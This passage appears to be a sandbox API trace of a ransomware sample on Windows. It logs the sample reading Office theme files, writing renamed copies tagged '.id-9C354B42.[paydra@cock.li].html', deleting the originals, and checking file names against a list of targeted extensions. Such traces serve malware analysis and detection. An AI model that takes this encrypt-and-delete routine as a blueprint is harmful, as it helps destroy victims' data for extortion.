lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.795] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.795] SetEndOfFile (hFile=0x210) returned 1 [0045.795] CloseHandle (hObject=0x210) returned 1 [0045.796] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.796] SetEndOfFile (hFile=0x21c) returned 1 [0045.796] CloseHandle (hObject=0x21c) returned 1 [0045.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.797] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1 [0045.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0045.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0045.797] lstrlenW (lpString=".doc") returned 4 [0045.797] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.797] lstrlenW (lpString=".docx") returned 5 [0045.797] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.797] lstrlenW (lpString=".pdf") returned 4 [0045.797] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.797] lstrlenW (lpString=".xls") returned 4 [0045.797] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.797] lstrlenW (lpString=".xlsx") returned 5 [0045.797] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.797] lstrlenW (lpString=".ppt") returned 4 [0045.797] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0045.797] lstrlenW (lpString=".zip") returned 4 [0045.797] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.797] lstrlenW (lpString=".rar") returned 4 [0045.797] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.797] lstrlenW (lpString=".bz2") returned 4 [0045.797] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.797] lstrlenW (lpString=".7z") returned 3 [0045.797] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0045.798] lstrlenW (lpString=".dbf") returned 4 [0045.798] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0045.798] lstrlenW (lpString=".1cd") returned 4 [0045.798] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0045.798] lstrlenW (lpString=".jpg") returned 4 [0045.798] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0045.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0045.798] lstrlenW (lpString=".doc") returned 4 [0045.798] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.798] lstrlenW (lpString=".docx") returned 5 [0045.798] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.798] lstrlenW (lpString=".pdf") returned 4 [0045.798] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.798] lstrlenW (lpString=".xls") returned 4 [0045.798] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.798] lstrlenW (lpString=".xlsx") returned 5 [0045.798] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.798] lstrlenW (lpString=".ppt") returned 4 [0045.798] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0045.798] lstrlenW (lpString=".zip") returned 4 [0045.798] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.798] lstrlenW (lpString=".rar") returned 4 [0045.798] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.798] lstrlenW (lpString=".bz2") returned 4 [0045.798] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.798] lstrlenW (lpString=".7z") returned 3 [0045.799] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0045.799] lstrlenW (lpString=".dbf") returned 4 [0045.799] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0045.799] lstrlenW (lpString=".1cd") returned 4 [0045.799] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0045.799] lstrlenW (lpString=".jpg") returned 4 [0045.799] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.800] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=18817) returned 1 [0045.800] CloseHandle (hObject=0x220) returned 1 [0045.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0045.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0045.800] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.800] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0045.801] GetLastError () returned 0x0 [0045.801] ReadFile (in: hFile=0x220, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x4981, lpOverlapped=0x0) returned 1 [0045.803] WriteFile (in: hFile=0x21c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x4990, lpOverlapped=0x0) returned 1 [0045.804] ReadFile (in: hFile=0x220, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.804] WriteFile (in: hFile=0x21c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.804] SetEndOfFile (hFile=0x21c) returned 1 [0045.804] CloseHandle (hObject=0x21c) returned 1 [0045.804] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.804] SetEndOfFile (hFile=0x220) returned 1 [0045.805] CloseHandle (hObject=0x220) returned 1 [0045.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.806] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1 [0045.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0045.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0045.806] lstrlenW (lpString=".doc") returned 4 [0045.806] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.806] lstrlenW (lpString=".docx") returned 5 [0045.806] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.806] lstrlenW (lpString=".pdf") returned 4 [0045.806] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.806] lstrlenW (lpString=".xls") returned 4 [0045.806] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.806] lstrlenW (lpString=".xlsx") returned 5 [0045.806] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.806] lstrlenW (lpString=".ppt") returned 4 [0045.806] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0045.806] lstrlenW (lpString=".zip") returned 4 [0045.806] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.806] lstrlenW (lpString=".rar") returned 4 [0045.806] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.806] lstrlenW (lpString=".bz2") returned 4 [0045.806] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.806] lstrlenW (lpString=".7z") returned 3 [0045.806] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0045.806] lstrlenW (lpString=".dbf") returned 4 [0045.806] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0045.807] lstrlenW (lpString=".1cd") returned 4 [0045.807] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0045.807] lstrlenW (lpString=".jpg") returned 4 [0045.807] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.807] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.807] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.809] GetLastError () returned 0x0 [0045.809] ReadFile (in: hFile=0x220, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x143b, lpOverlapped=0x0) returned 1 [0045.810] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x1440, lpOverlapped=0x0) returned 1 [0045.811] ReadFile (in: hFile=0x220, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.811] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.811] SetEndOfFile (hFile=0x210) returned 1 [0045.812] CloseHandle (hObject=0x210) returned 1 [0045.812] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.812] SetEndOfFile (hFile=0x220) returned 1 [0045.812] CloseHandle (hObject=0x220) returned 1 [0045.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.813] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1 [0045.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0045.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0045.813] lstrlenW (lpString=".doc") returned 4 [0045.813] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.813] lstrlenW (lpString=".docx") returned 5 [0045.813] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.813] lstrlenW (lpString=".pdf") returned 4 [0045.813] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.813] lstrlenW (lpString=".xls") returned 4 [0045.813] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.813] lstrlenW (lpString=".xlsx") returned 5 [0045.813] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.813] lstrlenW (lpString=".ppt") returned 4 [0045.813] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0045.813] lstrlenW (lpString=".zip") returned 4 [0045.814] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.814] lstrlenW (lpString=".rar") returned 4 [0045.814] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.814] lstrlenW (lpString=".bz2") returned 4 [0045.814] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.814] lstrlenW (lpString=".7z") returned 3 [0045.814] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0045.814] lstrlenW (lpString=".dbf") returned 4 [0045.814] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0045.814] lstrlenW (lpString=".1cd") returned 4 [0045.814] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0045.814] lstrlenW (lpString=".jpg") returned 4 [0045.814] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.814] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=33559) returned 1 [0045.814] CloseHandle (hObject=0x220) returned 1 [0045.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0045.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0045.815] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.815] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.815] GetLastError () returned 0x0 [0045.815] ReadFile (in: hFile=0x220, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x8317, lpOverlapped=0x0) returned 1 [0045.817] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x8320, lpOverlapped=0x0) returned 1 [0045.819] ReadFile (in: hFile=0x220, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.819] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.819] SetEndOfFile (hFile=0x210) returned 1 [0045.819] CloseHandle (hObject=0x210) returned 1 [0045.819] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.819] SetEndOfFile (hFile=0x220) returned 1 [0045.820] CloseHandle (hObject=0x220) returned 1 [0045.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.820] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1 [0045.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0045.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0045.821] lstrlenW (lpString=".doc") returned 4 [0045.821] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.821] lstrlenW (lpString=".docx") returned 5 [0045.821] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.821] lstrlenW (lpString=".pdf") returned 4 [0045.821] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.821] lstrlenW (lpString=".xls") returned 4 [0045.821] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.821] lstrlenW (lpString=".xlsx") returned 5 [0045.821] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.821] lstrlenW (lpString=".ppt") returned 4 [0045.821] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0045.821] lstrlenW (lpString=".zip") returned 4 [0045.821] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.821] lstrlenW (lpString=".rar") returned 4 [0045.821] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.821] lstrlenW (lpString=".bz2") returned 4 [0045.821] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.821] lstrlenW (lpString=".7z") returned 3 [0045.821] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0045.821] lstrlenW (lpString=".dbf") returned 4 [0045.821] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0045.822] lstrlenW (lpString=".1cd") returned 4 [0045.822] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0045.822] lstrlenW (lpString=".jpg") returned 4 [0045.822] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.822] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.822] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0046.157] GetLastError () returned 0x0 [0046.157] ReadFile (in: hFile=0x220, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x9ac, lpOverlapped=0x0) returned 1 [0046.159] WriteFile (in: hFile=0x198, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0046.160] ReadFile (in: hFile=0x220, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.160] WriteFile (in: hFile=0x198, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.160] SetEndOfFile (hFile=0x198) returned 1 [0046.160] CloseHandle (hObject=0x198) returned 1 [0046.160] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.160] SetEndOfFile (hFile=0x220) returned 1 [0046.161] CloseHandle (hObject=0x220) returned 1 [0046.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.161] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1 [0046.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0046.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0046.162] lstrlenW (lpString=".doc") returned 4 [0046.162] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.162] lstrlenW (lpString=".docx") returned 5 [0046.162] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.162] lstrlenW (lpString=".pdf") returned 4 [0046.162] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.162] lstrlenW (lpString=".xls") returned 4 [0046.162] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.162] lstrlenW (lpString=".xlsx") returned 5 [0046.162] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.162] lstrlenW (lpString=".ppt") returned 4 [0046.162] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0046.162] lstrlenW (lpString=".zip") returned 4 [0046.162] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.162] lstrlenW (lpString=".rar") returned 4 [0046.162] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.162] lstrlenW (lpString=".bz2") returned 4 [0046.162] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.162] lstrlenW (lpString=".7z") returned 3 [0046.162] 